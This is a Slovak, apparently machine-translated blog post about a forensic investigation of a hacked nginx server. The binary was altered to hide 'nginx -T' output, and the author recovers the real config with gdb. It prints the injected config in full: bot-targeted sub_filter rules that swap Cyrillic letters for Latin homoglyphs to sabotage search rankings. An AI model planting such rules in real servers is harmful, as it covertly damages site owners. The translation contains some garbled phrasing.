Keď sa „a“ nerovná „a“. V dôsledku hacku

Najnepríjemnejší príbeh sa stal jednému z mojich priateľov. Ale ako nepríjemné to bolo pre Michaila, pre mňa to bolo rovnako zábavné.

Musím povedať, že môj priateľ je celkom UNIX-užívateľ: môže si systém nainštalovať sám mysql, php a vykonajte jednoduché nastavenia nginx.
A má tucet alebo jeden a pol webových stránok venovaných stavebným nástrojom.

Jedna z týchto stránok venovaná motorovým pílam je pevne umiestnená v TOP vyhľadávačov. Táto stránka je nekomerčným recenzentom, no niekto si zvykol na ňu útočiť. To DDoS, potom hrubou silou, potom píšu obscénne komentáre a posielajú narážky na hosting a do RKN.
Zrazu sa všetko upokojilo a ukázalo sa, že tento kľud nie je dobrý a stránka začala postupne opúšťať horné riadky výsledkov vyhľadávania.

Keď sa „a“ nerovná „a“. Po jednom hacknutí

To bolo príslovie, potom samotný príbeh správcu.

Blížil sa čas spánku, keď zazvonil telefón: „San, nepozrel by si sa na môj server? Zdá sa mi, že som bol hacknutý, nemôžem to dokázať, ale ten pocit ma neopustil už tretí týždeň. Možno je len čas, aby som sa liečil z paranoje?"

Nasledovala polhodinová diskusia, ktorú možno zhrnúť takto:

  • pôda na hackovanie bola dosť úrodná;
  • útočník by mohol získať práva superužívateľa;
  • útok (ak k nemu došlo) bol zameraný konkrétne na toto miesto;
  • problémové oblasti boli opravené a musíte len pochopiť, či došlo k nejakému prieniku;
  • hack nemohol ovplyvniť kód lokality a databázy.

Čo sa týka posledného bodu.

Keď sa „a“ nerovná „a“. Po jednom hacknutí

Len biela frontend IP vyzerá do sveta. Neexistuje žiadna výmena medzi backendom a frontendom okrem http(s), používatelia/heslá sú odlišné, neboli vymenené žiadne kľúče. Na šedých adresách sú všetky porty okrem 80/443 zatvorené. Biele backendové adresy IP poznajú iba dvaja používatelia, ktorým Michail úplne dôveruje.

Nainštalované na frontende Debian 9 a kým sa uskutoční hovor, systém je izolovaný od sveta externým firewallom a zastavený.

"Dobre, daj mi prístup," rozhodla som sa na hodinu odložiť spánok. "Uvidím na vlastné oči."

Tu a ďalej:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Hľadá sa možný hack

Spustím server ako prvý záchranný režim. Namontujem disky a prelistujem ich auth-protokoly, histórie, systémové logy a pod., vždy, keď je to možné, kontrolujem dátumy vytvorenia súboru, aj keď chápem, že normálny cracker by po sebe „pozametal“ a Mišo už veľa „prešľapal“, kým sa hľadal. .

Začínam v normálnom režime, ešte nerozumiem, čo mám hľadať, študujem konfigurácie. V prvom rade ma zaujíma nginx keďže vo všeobecnosti na frontende okrem neho nie je nič iné.
Konfigurácie sú malé, dobre štruktúrované do tucta súborov, len si ich prezerám mačka'oh jeden po druhom. Všetko sa zdá byť čisté, ale nikdy neviete, či som niečo nezmeškal zahrnúť, dovoľte mi urobiť úplný zoznam:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Nerozumel som: "Kde je zoznam?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

K otázke v zozname sa pridáva druhá otázka: „Prečo taká starodávna verzia nginx?“

Okrem toho systém verí, že je nainštalovaná najnovšia verzia:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Volám:
- Mišo, prečo si sa poskladal? nginx?
- Počkaj, ja ani neviem, ako sa to robí!
- Dobre, choď spať...

Nginx je jasne prestavaný a výstup výpisu pomocou „-T“ je z nejakého dôvodu skrytý. O hackovaní už nie sú žiadne pochybnosti a môžete to jednoducho akceptovať a (keďže Misha aj tak vymenila server za nový) považovať problém za vyriešený.

A skutočne, keďže niekto získal práva koreň'Á, potom to má zmysel robiť preinštalovať systém, a bolo zbytočné hľadať, čo tam je zle, no tentokrát zvedavosť zvíťazila nad spánkom. Ako môžeme zistiť, čo pred nami chceli zatajiť?

Skúsme sledovať:

$ strace nginx -T

Pozeráme sa na to, v stope zjavne nie je dosť čiar a la

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Len pre zaujímavosť, porovnajme zistenia.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Myslím, že časť kódu /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

bol prevedený do podoby:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

alebo

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

preto sa výpis podľa "-T" nezobrazí.

Ale ako môžeme zobraziť našu konfiguráciu?

Ak je moja myšlienka správna a problém je len v premennej ngx_dump_config skúsme ho nainštalovať pomocou gdb, našťastie existuje kľúč --with-cc-opt -g a dúfam, že optimalizácia -O2 nám to neublíži. Zároveň, keďže neviem ako ngx_dump_config mohli byť spracované v prípad 'T':, nebudeme tento blok nazývať, ale nainštalujeme ho pomocou prípad 't':

Prečo môžete použiť „-t“ aj „-T“Blokové spracovanie if(ngx_dump_config) sa deje vo vnútri if(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Samozrejme, ak sa kód zmení v tejto časti a nie v prípad 'T':, potom moja metóda nebude fungovať.

Otestujte nginx.confPo experimentálnom vyriešení problému sa zistilo, že na fungovanie škodlivého softvéru je potrebná minimálna konfigurácia nginx typ:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Použijeme to pre stručnosť v článku.

Spustite debugger

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Kroky:

  • nastaviť bod prerušenia vo funkcii Hlavná()
  • spustiť program
  • zmeňte hodnotu premennej, ktorá určuje výstup konfigurácie ngx_dump_config=1
  • pokračovať/ukončiť program

Ako vidíme, skutočná konfigurácia sa líši od našej, vyberieme z nej parazitný kus:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Poďme sa po poriadku pozrieť na to, čo sa tu deje.

Odhodlaný User-Agent's yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Stránky služby sú vylúčené wordpress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

A pre tých, ktorí spadajú pod obe vyššie uvedené podmienky

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

v texte html-zmena stránok 'O' na 'o' и 'A' na „a“:

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

To je pravda, jediná jemnosť je v tom 'a' != 'a' ako aj 'o' != 'o':

Keď sa „a“ nerovná „a“. Po jednom hacknutí

Preto roboty vyhľadávacích nástrojov dostávajú namiesto normálneho 100 % textu v azbuke upravený odpad zriedený latinkou „a“ и 'o'. Netrúfam si diskutovať o tom, ako to ovplyvňuje SEO, ale je nepravdepodobné, že takáto spleť písmen bude mať pozitívny vplyv na pozície vo výsledkoch vyhľadávania.

Čo môžem povedať, chlapci s fantáziou.

referencie

Ladenie pomocou GDB
gdb(1) — Linuxová manuálová stránka
strace(1) — Linuxová manuálová stránka
Nginx - Modul ngx_http_sub_module
O pílach, motorových pílach a elektrických pílach

Zdroj: hab.com

Pridať komentár